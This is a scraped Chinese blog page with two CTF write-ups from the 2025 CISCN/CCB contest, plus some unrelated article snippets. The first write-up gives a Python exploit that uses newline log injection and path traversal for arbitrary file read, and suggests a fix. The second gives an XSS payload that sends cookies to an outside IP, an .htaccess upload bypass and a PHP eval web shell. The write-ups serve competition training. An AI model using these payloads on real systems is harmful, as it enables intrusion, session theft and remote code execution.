优化网站要怎么做/最近新闻热点

优化网站要怎么做,最近新闻热点,台州行app官网下载,江门网站建设公司哪家好AWDP – ccfrum 自己搭了一下环境, 复现一下这道题目, 之前比赛的时候完全没想到这个漏洞要怎么打, 修也不知道要怎么修, 就仅仅是对用户名的账号和密码进行了一下过滤, 完全没起到作用, 唉, 实在太菜 如果想要尝试复现的话可以尝试拉取这个镜像, 我打完之后就直接把这个容器给…

AWDP – ccfrum

自己搭了一下环境, 复现一下这道题目, 之前比赛的时候完全没想到这个漏洞要怎么打, 修也不知道要怎么修, 就仅仅是对用户名的账号和密码进行了一下过滤, 完全没起到作用, 唉, 实在太菜
如果想要尝试复现的话可以尝试拉取这个镜像, 我打完之后就直接把这个容器给制作了一下镜像保存了一下, 但我自己并没有去拉取下来看看是否可行, 不过应该是没问题的吧, 毕竟我是复现完把日志删了之后直接就保存下来的
docker pull registry.cn-hangzhou.aliyuncs.com/pwfortune/ccb_ciscn:ccforum

Seay扫描一下源码

主要关注config.php和admin.php存在 file_get_contents()file_put_contents()函数

在这里插入图片描述

那么最终可以预想就是想办法利用file_get_contents() 任意读文件

通过审计代码

admin.php

$action_log_path = '/var/www/action.log';
$action_log = file_get_contents($action_log_path);
$log_lines = explode("\n", $action_log);

会读取日志文件, 以换行符分割每一行

foreach ($log_lines as $line) {if (empty($line)) {continue;}$parts = explode(',', $line);if (count($parts) < 5) {continue;}$encoded_user = $parts[1];$action = $parts[2];$success = (int) $parts[3];$additional_info = $parts[4];if ($action === 'record_banned') {if ($success === 1) {$banned_users[$encoded_user][] = $additional_info;} else {$failed_logs[] = $additional_info;}}
}
$banned_contents = [];
var_dump($banned_users);
foreach ($banned_users as $encoded_user => $logs) {$banned_dir = "/var/www/banned/{$encoded_user}";if (file_exists($banned_dir)) {$files = scandir($banned_dir);// var_dump($files);foreach ($files as $file) {if ($file !== '.' && $file !== '..') {$file_path = $banned_dir . '/' . $file;$content = file_get_contents($file_path);$banned_contents[$username][] = $content;}}}
}

如果actionrecord_banned, $success == 1
那么就会遍历编码后的用户名下的所有文件, 将他们读取出来显示

<?php foreach ($contents as $content): ?><pre><?php echo htmlspecialchars($content); ?></pre>
<?php endforeach; ?>

所以想要构造的一个payload就是

,../../../,record_banned,1,

但是这里没有什么可控的变量, 还需要通过日志文件来利用

function log_action($username, $action, $succ, $additional = '')
{$log_id = uniqid();$e_username = encode_uname($username);$log_line = sprintf("%s,%s,%s,%d,%s\n",$log_id,$e_username,$action,$succ,$additional);file_put_contents('/var/www/action.log', $log_line, FILE_APPEND);
}

写入日志文件的内容有

  • $log_id: uniqid() 不可控
  • $e_username = encode_uname($username); base64编码后的用户名, 不好控制为 ../进行目录穿越
  • $action, 相要利用必须为record_banned, 不可控
  • $succ 相要利用必须1, 也是不可控
  • $additional, 默认为空, 也没啥限制, 所以就需要想办法控制这个变量

再查找有哪里调用了log_action这个函数

function record_banned($username, $banned)
{$e_username = encode_uname($username);$banned_dir = "/var/www/banned/{$e_username}";$created = true;if (!file_exists($banned_dir)) {$created = mkdir($banned_dir, 0750);}$log = "";$succ = 1;if (!$created) {$succ = 0;$log = "Failed to create record directory for " . $username;} else {$filename = $banned_dir . '/' . time() . '.txt';if (!file_put_contents($filename, $banned)) {$succ = 0;$log = "Failed to record banned content";}}log_action($username, 'record_banned', $succ, $log);
}

可控的是变量$additional这里传参的是$log
它的值有三种

  • $log = "";
  • $log = "Failed to create record directory for " . $username;
  • $log = "Failed to record banned content";

唯一能够想办法控制的就是$username

要想办法达到这个条件就需要无法创建成功目录

$created = mkdir($banned_dir, 0750);

mkdir在创建目录的时候无法创建多重目录

也就是创建的目录名不能带有 / 那么就需要让base64编码后的用户名带上/就无法创建成功了

前面也已经知道读取的日志文件会以\n分割来生成每一行

$log_lines = explode("\n", $action_log);

而且也会遍历每一行, 以,分割每一部分, 取第二部分, 遍历该目录下的文件, 读取出来

foreach ($log_lines as $line)
$parts = explode(',', $line);if (count($parts) < 5) {continue;}
$encoded_user = $parts[1];
if ($action === 'record_banned') {if ($success === 1) {$banned_users[$encoded_user][] = $additional_info;} 
$banned_dir = "/var/www/banned/{$encoded_user}";
$files = scandir($banned_dir);
$file_path = $banned_dir . '/' . $file;
$content = file_get_contents($file_path);

所以这里的用户名就是

???%0a,../../../,record_banned,1,

在这里插入图片描述

在这里就已经可以知道需要注册这样一个用户名了

还需要找到在哪里可以调用record_banned方法

post.php里面

if ($_SERVER['REQUEST_METHOD'] === 'POST') {$title = $_POST['title'] ?? '';$content = $_POST['content'] ?? '';$username = $_SESSION['username'];if (has_sensitive_words($title) || has_sensitive_words($content)) {record_banned($username, $title . "|" . $content);die("Post contains sensitive words");}

需要让has_sensitive_words返回true

function has_sensitive_words($content)
{$SENSITIVE_WORDS = ['敏感词', 'SENSITIVE WORDS',];foreach ($SENSITIVE_WORDS as $word) {if (stripos($content, $word) !== false) {return true;}}return false;
}

也就是说title或者content其中有一个存在敏感词或者 SENSITIVE WORDS 就可以满足条件

到这里所有的前提条件都已经知道了, 就可以开始构造payload了

步骤

  1. 先注册账户, 构造特定的用户名
  2. 用特定的用户名登录, 到post.php路由发送相应的信息
  3. 再以管理员的账号密码登录, 进入到admin.php, 即可查看到flag

管理员的账号密码可以爆破得出 admin / password

可以看得到日志里面已经写入的,../../../,record_banned,1,

在这里插入图片描述

通过管理员用户访问admin.php下可以看到读取的文件

在这里插入图片描述

from requests import Sessionbasic = "http://ip:9090/"
data = {"username": "???\n,../../../,record_banned,1,","password": "111111111111",}def register(sess: Session):resp = sess.post(basic + "/register.php", data=data)def login(sess: Session):resp = sess.post(basic + "/login.php", data=data)def post(sess: Session):data1 = {"title": "敏感词","content": "tset",}resp = sess.post(basic + "/post.php", data=data1)if __name__ == "__main__":sess = Session()register(sess)login(sess)post(sess)

所以这道题目的修复方法可以将 编码的函数改成md5加密, 就无法阻止mkdir创建目录失败, 也就无法利用可控参数username

function encode_uname($username)
{return base64_encode($username);
}

参考文章

https://jbnrz.com.cn/index.php/2025/03/16/2025-ciscn-x-ccb-semi/https://mp.weixin.qq.com/s?__biz=Mzg4MTg1MDY4MQ==&mid=2247487308&idx=1&sn=58ded47969223626e9937b5ccf93d3a8&chksm=cef98a3b1b7ee9a0deeb2746fb95e0bd6fb6e0d7adf55a9902ee121c3e7533efcde91d9498fc&mpshare=1&scene=23&srcid=0318w22pdH0PdB7Tj2Cbw5B0&sharer_shareinfo=a714674b8023b181d0876977bde50035&sharer_shareinfo_first=a714674b8023b181d0876977bde50035#rd

ISW – CCB2025

考点: xss+文件上传

一天的比赛 ,就这一个成果, 唉

dirsearch 扫描

[14:03:24] 403 -  278B  - /.ht_wsr.txt
[14:03:24] 403 -  278B  - /.htaccess.bak1
[14:03:24] 403 -  278B  - /.htaccess.save
[14:03:24] 403 -  278B  - /.htaccess.orig
[14:03:24] 403 -  278B  - /.htaccess.sample
[14:03:24] 403 -  278B  - /.htaccess_extra
[14:03:24] 403 -  278B  - /.htaccess_orig
[14:03:24] 403 -  278B  - /.htaccess_sc
[14:03:24] 403 -  278B  - /.htaccessOLD2
[14:03:24] 403 -  278B  - /.htaccessOLD
[14:03:24] 403 -  278B  - /.htaccessBAK
[14:03:24] 403 -  278B  - /.html
[14:03:24] 403 -  278B  - /.htm
[14:03:24] 403 -  278B  - /.htpasswd_test
[14:03:24] 403 -  278B  - /.htpasswds
[14:03:24] 403 -  278B  - /.httr-oauth
[14:03:25] 403 -  278B  - /.php
[14:03:35] 302 -    0B  - /dashboard.php  ->  login.html
[14:03:37] 200 -  484B  - /feedback.html
[14:03:39] 301 -  312B  - /img  ->  http://172.18.114.20/img/
[14:03:43] 200 -  524B  - /login.html
[14:03:44] 302 -    0B  - /logout.php  ->  login.html
[14:03:56] 403 -  278B  - /server-status
[14:03:56] 403 -  278B  - /server-status/
[14:03:57] 301 -  312B  - /src  ->  http://172.18.114.20/src/
[14:03:57] 200 -  473B  - /src/
[14:04:00] 200 -   16KB - /users.log

/feedback.html

可以提交一些信息, 猜测是xss

<script>window.location.href='http://192.168.114.251:7777/?cookie='+document.cookie</script>

在这里插入图片描述

可以拿到admin的cookie

拿admin的cookie的作用主要就是为了拿到上传的文件的路径

然后继续之前提交信息处可以上传图片, 文件上传绕过

上传 .htaccess

<FilesMatch "1.jpg">  
SetHandler application/x-httpd-php
</FilesMatch>

然后再上传1.jpg

<?php eval("$_POST[1]")?>

在这里插入图片描述后面一个多小时一直在尝试内网渗透方面, 可惜缺乏经验, 太菜了, 没有收获

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/898572.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

VS010生成可由MATLAB2016调用的DLL文件方法

亲测实用&#xff0c;不用配置杂七杂八的依赖项 1&#xff1a;新建Win32的DLL输出项目 2&#xff1a;修改为release模式 3&#xff1a;添加calc.cpp文件&#xff0c;即要导出的函数myadd&#xff1a; #include "calc.h" __declspec(dllexport) int myadd(int a,in…

优选算法系列(3.二分查找 )

目录 一.二分查找&#xff08;easy&#xff09; 题目链接&#xff1a;704. 二分查找 - 力扣&#xff08;LeetCode&#xff09; 解法&#xff1a; 代码&#xff1a; 二.在排序数组中查找元素的第⼀个和最后⼀个位置&#xff08;medium&#xff09; 题目链接&#xff1a;34.…

阿里云服务器部署 五 Nginx + springboot

Nginx的部分配置 1. 基础容灾配置&#xff08;被动健康检查&#xff09; 在 upstream 块中&#xff0c;通过 max_fails 和 fail_timeout 参数定义故障转移规则&#xff1a; 在 upstream 块中&#xff0c;通过 max_fails 和 fail_timeout 参数定义故障转移规则&#xff1a;…

接口自动化测试框架详解

&#x1f345; 点击文末小卡片&#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 接口自动化测试是指通过编写程序来模拟用户的行为&#xff0c;对接口进行自动化测试。Python是一种流行的编程语言&#xff0c;它在接口自动化测试中得到了广泛…

C# 项目06-计算程序运行时间

实现需求 记录程序运行时间&#xff0c;当程序退出后&#xff0c;保存程序运行时间&#xff0c;等下次程序再次启动时&#xff0c;继续记录运行时间 运行环境 Visual Studio 2022 知识点 TimeSpan 表示时间间隔。两个日期之间的差异的 TimeSpan 对象 TimeSpan P_TimeSpa…

网络华为HCIA+HCIP NFV

目录 NFV关键技术&#xff1a;虚拟化 NFV关键技术&#xff1a;云化 NFV架构 NFV标准架构 ​编辑 NFV架构功能模块 NFV架构接口 NFV关键技术&#xff1a;虚拟化 在NFV的道路上&#xff0c;虚拟化是基础&#xff0c;云化是关键。传统电信网络中&#xff0c;各个网元都是…

SpringBoot实现异步调用的方法

在Java中使用Spring Boot实现异步请求和异步调用是一个常见的需求&#xff0c;可以提高应用程序的性能和响应能力。以下是实现这两种异步操作的基本方法&#xff1a; 一、异步请求&#xff08;Asynchronous Request&#xff09; 异步请求允许客户端发送请求后立即返回&#x…

使用vite新建vue3项目 以及elementui的使用 vite组件问题

项目创建 在创建项目之前我们应该在终端中输入 node -v 和 npm -v 只有它们都能正常查看版本号才说明我们之前是已经安装完成的。 接下来我们在合适的目录下输入npm create vitelatest 它会要求你输入项目的名称&#xff0c;这个名称和我们之前通过cil创建的命名规则一样。…

音频录制小妙招-自制工具-借助浏览器录一段单声道16000采样率wav格式音频

先看效果 1、打开页面 2、点击开始录音&#xff0c;弹出权限提示&#xff0c;点击“仅这次访问时允许” 3、录完后&#xff0c;点击停止 4、文件自动下载到默认目录 上代码 js 部分 document.addEventListener(DOMContentLoaded, () > {const startBtn document.getEleme…

数学建模 绘图 图表 可视化(3)

文章目录 前言二维散点图系列坐标图数据分布特征&#xff0c;Q-Q、P-P图分类图一般的曲线图峰峦图总结参考资料 前言 承接上期 数学建模 绘图 图表 可视化&#xff08;1&#xff09;的总体描述&#xff0c;这期我们继续跟随《Python 数据可视化之美 专业图表绘制指南》步伐来学…

【数据结构】栈(Stack)、队列(Queue)、双端队列(Deque) —— 有码有图有真相

目录 栈和队列 1. 栈&#xff08;Stack&#xff09; 1.1 概念 1.2 栈的使用&#xff08;原始方法&#xff09; 1.3 栈的模拟实现 【小结】 2. 栈的应用场景 1、改变元素的序列 2、将递归转化为循环 3、逆波兰表达式求值 4、括号匹配 5、出栈入栈次序匹配 6、最小栈…

【强化学习】Reward Model(奖励模型)详细介绍

&#x1f4e2;本篇文章是博主强化学习&#xff08;RL&#xff09;领域学习时&#xff0c;用于个人学习、研究或者欣赏使用&#xff0c;并基于博主对相关等领域的一些理解而记录的学习摘录和笔记&#xff0c;若有不当和侵权之处&#xff0c;指出后将会立即改正&#xff0c;还望谅…

国家雪亮工程政策护航,互联网监控管理平台铸就安全防线

在当今社会&#xff0c;公共安全是国家发展的重要基石&#xff0c;也是人民安居乐业的基本保障。为了打造更高水平的平安中国&#xff0c;国家推出了意义深远的雪亮工程&#xff0c;并出台了一系列相关政策&#xff0c;为公共安全事业保驾护航。而互联网监控管理平台作为雪亮工…

蓝桥杯 第十天 2019国赛第4题 矩阵计数

最后一个用例超时了&#xff0c;还是记录一下 import java.util.Scanner;public class Main {static int visited[][];static int count 0;static int n,m;public static void main(String[]args) {Scanner scan new Scanner(System.in);n scan.nextInt();//2m scan.nextIn…

coding ability 展开第五幕(二分查找算法)超详细!!!!

. . 文章目录 前言二分查找搜索插入的位置思路 x的平方根思路 山脉数组的峰顶索引思路 寻找旋转排序数组中的最小值思路 总结 前言 本专栏上篇博客已经把滑动指针收尾啦 现在还是想到核心——一段连续的区间&#xff0c;有时候加上哈希表用起来很爽 今天我们来学习新的算法知识…

基于springboot的母婴商城系统(018)

摘 要 现代经济快节奏发展以及不断完善升级的信息化技术&#xff0c;让传统数据信息的管理升级为软件存储&#xff0c;归纳&#xff0c;集中处理数据信息的管理方式。本母婴商城系统就是在这样的大环境下诞生&#xff0c;其可以帮助管理者在短时间内处理完毕庞大的数据信息&am…

shell 脚本搭建apache

#!/bin/bash # Set Apache version to install ## author: yuan# 检查外网连接 echo "检查外网连接..." ping www.baidu.com -c 3 > /dev/null 2>&1 if [ $? -eq 0 ]; thenecho "外网通讯良好&#xff01;" elseecho "网络连接失败&#x…

使用OBS进行webRTC推流参考

参考腾讯云官方文档&#xff1a; 云直播 OBS WebRTC 推流_腾讯云 说明非常详细&#xff0c;分为通过WHIP和OBS插件的形式进行推流。 注意&#xff1a;通过OBS插件的形式进行推流需要使用较低的版本&#xff0c;文档里有说明&#xff0c;需要仔细阅读。

Excel 小黑第18套

对应大猫18 .txt 文本文件&#xff0c;点数据 -现有链接 -浏览更多 &#xff08;文件类型&#xff1a;可以点开文件看是什么分隔的&#xff09; 双击修改工作表名称 为表格添加序号&#xff1a;在数字那修改格式为文本&#xff0c;输入第一个序号样式&#xff08;如001&#…

快速入手-基于Django的mysql配置(三)

Django开发操作数据库更简单&#xff0c;内部提供了ORM框架。比如mysql&#xff0c;旧版本用pymysql对比较多&#xff0c;新的版本采用mysqlclient。 1、安装mysql模块 pip install mysqlclient 2、Django的ORM主要做了两件事 &#xff08;1&#xff09;CRUD数据库中的表&am…